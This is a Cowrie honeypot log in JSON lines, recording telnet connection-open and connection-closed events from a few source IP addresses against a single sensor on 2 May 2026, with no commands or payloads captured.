{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39972,"dst_ip":"10.17.0.5","dst_port":23,"session":"32dc26a670b2","protocol":"telnet","message":"New connection: 62.210.97.77:39972 (10.17.0.5:23) [session: 32dc26a670b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:54.891935Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39986,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f7db28d040","protocol":"telnet","message":"New connection: 62.210.97.77:39986 (10.17.0.5:23) [session: c5f7db28d040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:55.548365Z"}
{"eventid":"cowrie.session.closed","duration":32.753411531448364,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:55.747708Z","src_ip":"62.210.97.77","session":"79c1356fb1b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.969746828079224,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:56.239160Z","src_ip":"62.210.97.77","session":"8ed902f1aab4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.6144962310791,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:56.491560Z","src_ip":"62.210.97.77","session":"31192ededf99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef3870bbbdb9","protocol":"telnet","message":"New connection: 62.210.97.77:39992 (10.17.0.5:23) [session: ef3870bbbdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:56.731172Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35354,"dst_ip":"10.17.0.5","dst_port":23,"session":"3edfa027287f","protocol":"telnet","message":"New connection: 38.54.119.93:35354 (10.17.0.5:23) [session: 3edfa027287f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:57.334487Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5baa7506bd0","protocol":"telnet","message":"New connection: 62.210.97.77:39996 (10.17.0.5:23) [session: f5baa7506bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:58.459843Z"}
{"eventid":"cowrie.session.closed","duration":36.400256633758545,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:58.982261Z","src_ip":"62.210.97.77","session":"35d409e4716f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"2180bbaff005","protocol":"telnet","message":"New connection: 62.210.97.77:37398 (10.17.0.5:23) [session: 2180bbaff005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:59.482827Z"}
{"eventid":"cowrie.session.closed","duration":41.21796536445618,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:59.630321Z","src_ip":"165.232.131.181","session":"08bf35a454e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.909706354141235,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:51:59.892464Z","src_ip":"62.210.97.77","session":"26341d7ba3a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08972215652466,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:01.495196Z","src_ip":"62.210.97.77","session":"ea25fec13a9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37542,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fdf54819e1c","protocol":"telnet","message":"New connection: 165.232.131.181:37542 (10.17.0.5:23) [session: 5fdf54819e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:02.265414Z"}
{"eventid":"cowrie.session.closed","duration":5.204302072525024,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:02.538670Z","src_ip":"38.54.119.93","session":"3edfa027287f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.93313646316528,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:03.419873Z","src_ip":"165.232.131.181","session":"f9d1c521e45c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.82682180404663,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:03.833302Z","src_ip":"38.54.119.93","session":"b838c231b675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81190061569214,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:05.521564Z","src_ip":"62.210.97.77","session":"b4061e40c67e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37412,"dst_ip":"10.17.0.5","dst_port":23,"session":"c07caeab9842","protocol":"telnet","message":"New connection: 62.210.97.77:37412 (10.17.0.5:23) [session: c07caeab9842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:05.959066Z"}
{"eventid":"cowrie.session.closed","duration":44.69969463348389,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:09.035146Z","src_ip":"65.60.27.33","session":"913f5d5bb649","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":40018,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bdf51bee74b","protocol":"telnet","message":"New connection: 165.232.131.181:40018 (10.17.0.5:23) [session: 4bdf51bee74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:09.904483Z"}
{"eventid":"cowrie.session.closed","duration":36.81960082054138,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:10.510116Z","src_ip":"62.210.97.77","session":"28052048fc6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59080,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d74ff35a365","protocol":"telnet","message":"New connection: 62.210.97.77:59080 (10.17.0.5:23) [session: 7d74ff35a365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:10.731281Z"}
{"eventid":"cowrie.session.closed","duration":33.46611928939819,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:12.357023Z","src_ip":"62.210.97.77","session":"9553a97fad48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.2741322517395,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:12.522160Z","src_ip":"65.60.27.33","session":"61ae151c7b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.69438672065735,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:14.399014Z","src_ip":"62.210.97.77","session":"4690a5397f59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90516710281372,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:14.587348Z","src_ip":"62.210.97.77","session":"327a52301143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.97021770477295,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:15.023484Z","src_ip":"165.232.131.181","session":"eaa730d108cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7098274230957,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:15.749300Z","src_ip":"62.210.97.77","session":"b1e9dd520543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51230,"dst_ip":"10.17.0.5","dst_port":23,"session":"77500683ff50","protocol":"telnet","message":"New connection: 65.60.27.33:51230 (10.17.0.5:23) [session: 77500683ff50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:18.181051Z"}
{"eventid":"cowrie.session.closed","duration":33.295658111572266,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:18.443959Z","src_ip":"62.210.97.77","session":"451185e1f272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59090,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae6c9537d792","protocol":"telnet","message":"New connection: 62.210.97.77:59090 (10.17.0.5:23) [session: ae6c9537d792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:18.458755Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43148,"dst_ip":"10.17.0.5","dst_port":23,"session":"3be443937cbe","protocol":"telnet","message":"New connection: 165.232.131.181:43148 (10.17.0.5:23) [session: 3be443937cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:19.665386Z"}
{"eventid":"cowrie.session.closed","duration":42.8643639087677,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:19.952754Z","src_ip":"165.232.131.181","session":"1d1cc4ab2f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53872,"dst_ip":"10.17.0.5","dst_port":23,"session":"409aa80529dc","protocol":"telnet","message":"New connection: 65.60.27.33:53872 (10.17.0.5:23) [session: 409aa80529dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:20.475887Z"}
{"eventid":"cowrie.session.closed","duration":1.9780912399291992,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:21.643345Z","src_ip":"165.232.131.181","session":"3be443937cbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36192,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f626299c17d","protocol":"telnet","message":"New connection: 62.210.97.77:36192 (10.17.0.5:23) [session: 9f626299c17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:23.375447Z"}
{"eventid":"cowrie.session.closed","duration":29.41789960861206,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:23.793224Z","src_ip":"165.232.131.181","session":"304c1dd982bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e073754b94","protocol":"telnet","message":"New connection: 62.210.97.77:36196 (10.17.0.5:23) [session: f7e073754b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:24.276709Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36210,"dst_ip":"10.17.0.5","dst_port":23,"session":"421961ac6bff","protocol":"telnet","message":"New connection: 62.210.97.77:36210 (10.17.0.5:23) [session: 421961ac6bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:24.818182Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36218,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e627a9d451b","protocol":"telnet","message":"New connection: 62.210.97.77:36218 (10.17.0.5:23) [session: 9e627a9d451b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:25.072342Z"}
{"eventid":"cowrie.session.closed","duration":7.13694167137146,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:25.317995Z","src_ip":"65.60.27.33","session":"77500683ff50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36220,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e3644e9c3de","protocol":"telnet","message":"New connection: 62.210.97.77:36220 (10.17.0.5:23) [session: 4e3644e9c3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:25.476507Z"}
{"eventid":"cowrie.session.closed","duration":50.719768047332764,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:25.519225Z","src_ip":"165.232.131.181","session":"c4115b16007a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53468,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fb35388ed4f","protocol":"telnet","message":"New connection: 38.54.119.93:53468 (10.17.0.5:23) [session: 2fb35388ed4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:27.128139Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33346,"dst_ip":"10.17.0.5","dst_port":23,"session":"606c4698943f","protocol":"telnet","message":"New connection: 65.60.27.33:33346 (10.17.0.5:23) [session: 606c4698943f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:27.408590Z"}
{"eventid":"cowrie.session.closed","duration":36.89288544654846,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:27.714959Z","src_ip":"62.210.97.77","session":"fed560eaa6a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53834,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1798b021651","protocol":"telnet","message":"New connection: 38.54.119.93:53834 (10.17.0.5:23) [session: f1798b021651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:27.787961Z"}
{"eventid":"cowrie.session.closed","duration":50.321884870529175,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:28.165752Z","src_ip":"165.232.131.181","session":"870b8e634f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58440,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7a8b55d30a","protocol":"telnet","message":"New connection: 62.210.97.77:58440 (10.17.0.5:23) [session: 8e7a8b55d30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:28.634248Z"}
{"eventid":"cowrie.session.closed","duration":34.45762848854065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:29.349451Z","src_ip":"62.210.97.77","session":"32dc26a670b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58454,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5535a58bb55","protocol":"telnet","message":"New connection: 62.210.97.77:58454 (10.17.0.5:23) [session: d5535a58bb55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:30.605385Z"}
{"eventid":"cowrie.session.closed","duration":35.60742902755737,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:31.155656Z","src_ip":"62.210.97.77","session":"c5f7db28d040","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58470,"dst_ip":"10.17.0.5","dst_port":23,"session":"7afc5e17ad87","protocol":"telnet","message":"New connection: 62.210.97.77:58470 (10.17.0.5:23) [session: 7afc5e17ad87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:32.110262Z"}
{"eventid":"cowrie.session.closed","duration":35.5296835899353,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:32.260721Z","src_ip":"62.210.97.77","session":"ef3870bbbdb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.359007358551025,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:33.487029Z","src_ip":"38.54.119.93","session":"2fb35388ed4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.21493148803711,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:33.697631Z","src_ip":"62.210.97.77","session":"2180bbaff005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.30268406867981,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:33.762406Z","src_ip":"62.210.97.77","session":"f5baa7506bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58478,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf0eb7b5cf0c","protocol":"telnet","message":"New connection: 62.210.97.77:58478 (10.17.0.5:23) [session: bf0eb7b5cf0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:33.805303Z"}
{"eventid":"cowrie.session.closed","duration":6.513550519943237,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:34.301387Z","src_ip":"38.54.119.93","session":"f1798b021651","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42036,"dst_ip":"10.17.0.5","dst_port":23,"session":"628e7aa18dfb","protocol":"telnet","message":"New connection: 65.60.27.33:42036 (10.17.0.5:23) [session: 628e7aa18dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:35.117674Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47314,"dst_ip":"10.17.0.5","dst_port":23,"session":"31d5d3e1d7c0","protocol":"telnet","message":"New connection: 65.60.27.33:47314 (10.17.0.5:23) [session: 31d5d3e1d7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:39.900468Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51862,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ea37fcaa6b2","protocol":"telnet","message":"New connection: 62.210.97.77:51862 (10.17.0.5:23) [session: 5ea37fcaa6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:40.301714Z"}
{"eventid":"cowrie.session.closed","duration":35.924562215805054,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:41.883486Z","src_ip":"62.210.97.77","session":"c07caeab9842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51874,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1feb1f749a9","protocol":"telnet","message":"New connection: 62.210.97.77:51874 (10.17.0.5:23) [session: b1feb1f749a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:41.943238Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51878,"dst_ip":"10.17.0.5","dst_port":23,"session":"e180216039c3","protocol":"telnet","message":"New connection: 62.210.97.77:51878 (10.17.0.5:23) [session: e180216039c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:43.068041Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51062,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0a13dbf02f","protocol":"telnet","message":"New connection: 65.60.27.33:51062 (10.17.0.5:23) [session: 9f0a13dbf02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:43.197933Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53956,"dst_ip":"10.17.0.5","dst_port":23,"session":"82875efb532a","protocol":"telnet","message":"New connection: 165.232.131.181:53956 (10.17.0.5:23) [session: 82875efb532a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:44.672947Z"}
{"eventid":"cowrie.session.closed","duration":34.88644289970398,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:45.617611Z","src_ip":"62.210.97.77","session":"7d74ff35a365","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.379542112350464,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:47.644843Z","src_ip":"165.232.131.181","session":"5fdf54819e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39244,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd77e464e4a","protocol":"telnet","message":"New connection: 38.54.119.93:39244 (10.17.0.5:23) [session: 1fd77e464e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:48.811119Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56680,"dst_ip":"10.17.0.5","dst_port":23,"session":"b70325d214e5","protocol":"telnet","message":"New connection: 62.210.97.77:56680 (10.17.0.5:23) [session: b70325d214e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:51.245361Z"}
{"eventid":"cowrie.session.closed","duration":5.332860231399536,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:54.143849Z","src_ip":"38.54.119.93","session":"1fd77e464e4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.30601167678833,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:55.210350Z","src_ip":"165.232.131.181","session":"4bdf51bee74b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.406444787979126,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:56.865084Z","src_ip":"62.210.97.77","session":"ae6c9537d792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.468756437301636,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:57.540966Z","src_ip":"62.210.97.77","session":"9e627a9d451b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07065224647522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:57.888702Z","src_ip":"62.210.97.77","session":"421961ac6bff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56682,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce90c6b6c82a","protocol":"telnet","message":"New connection: 62.210.97.77:56682 (10.17.0.5:23) [session: ce90c6b6c82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:58.254598Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56692,"dst_ip":"10.17.0.5","dst_port":23,"session":"67728929cf4d","protocol":"telnet","message":"New connection: 62.210.97.77:56692 (10.17.0.5:23) [session: 67728929cf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:58.343003Z"}
{"eventid":"cowrie.session.closed","duration":34.31920576095581,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:58.595820Z","src_ip":"62.210.97.77","session":"f7e073754b94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4610c0b4bf","protocol":"telnet","message":"New connection: 62.210.97.77:40954 (10.17.0.5:23) [session: ca4610c0b4bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:52:58.744381Z"}
{"eventid":"cowrie.session.closed","duration":39.207263708114624,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:53:02.582598Z","src_ip":"62.210.97.77","session":"9f626299c17d","protocol":"telnet"}
